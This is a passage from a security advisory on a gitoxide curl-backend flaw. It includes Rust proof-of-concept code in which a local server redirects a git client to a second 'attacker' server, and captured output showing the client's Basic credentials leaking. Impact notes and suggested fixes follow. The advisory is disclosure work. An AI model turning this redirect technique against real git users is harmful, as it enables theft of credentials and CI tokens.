Advisory

GHSA-9857-6mw7-fq2m

Details, part 2 of 2. The advisory

Details

conn.write_all(response.as_bytes()).unwrap();
conn.flush().unwrap();
println!("[legit] Sent 302 redirect to attacker server");
});

thread::sleep(std::time::Duration::from_millis(100));

println!("\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...");
let url: gix_url::Url = "http://127.0.0.1:8080/repo.git".try_into().expect("parse url");
let mut transport: http::Transport<http::curl::Curl> =
http::connect(url, gix_transport::Protocol::V1, false);
transport
.set_identity(gix_sec::identity::Account {
username: "victim-user".into(),
password: "super-secret-token".into(),
oauth_refresh_token: None,
})
.expect("set identity");

println!("[client] Performing handshake (GET /info/refs)...");
match transport.handshake(gix_transport::Service::UploadPack, &[]) {
Ok(_) => println!("[client] Handshake succeeded"),
Err(e) => println!("[client] Handshake error: {e}"),
}

println!("[client] Sending request (POST /git-upload-pack)...");
match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {
Ok(_writer) => println!("[client] Request sent"),
Err(e) => println!("[client] Request error: {e}"),
}

legit_handle.join().ok();
attacker_handle.join().ok();

println!("\n=== RESULT ===");
if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) {
let leaked = headers.iter().any(|h| h.starts_with("Authorization:"));
if leaked {
let auth = headers.iter().find(|h| h.starts_with("Authorization:")).unwrap();
println!("VULNERABLE: Credentials leaked to attacker server!");
println!("Captured: {auth}");
} else {
println!("NOT VULNERABLE: No credentials captured.");
}
} else {
println!("ERROR: Timed out.");
}
}


</details>

**Output:**

[attacker] GET /info/refs headers (from redirect):
GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 127.0.0.1:9090
Accept: */*
User-Agent: git/oxide-0.55.0

[attacker] POST /git-upload-pack headers:
POST /repo.git/git-upload-pack HTTP/1.1
Host: 127.0.0.1:9090
>>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu

VULNERABLE: Credentials leaked to attacker server!
Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu


The GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`.

## Impact

Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.

## Suggested Fix

1. Only attach `Authorization` if the effective URL's host matches the original URL's host.
2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior.
3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.

Sources & licences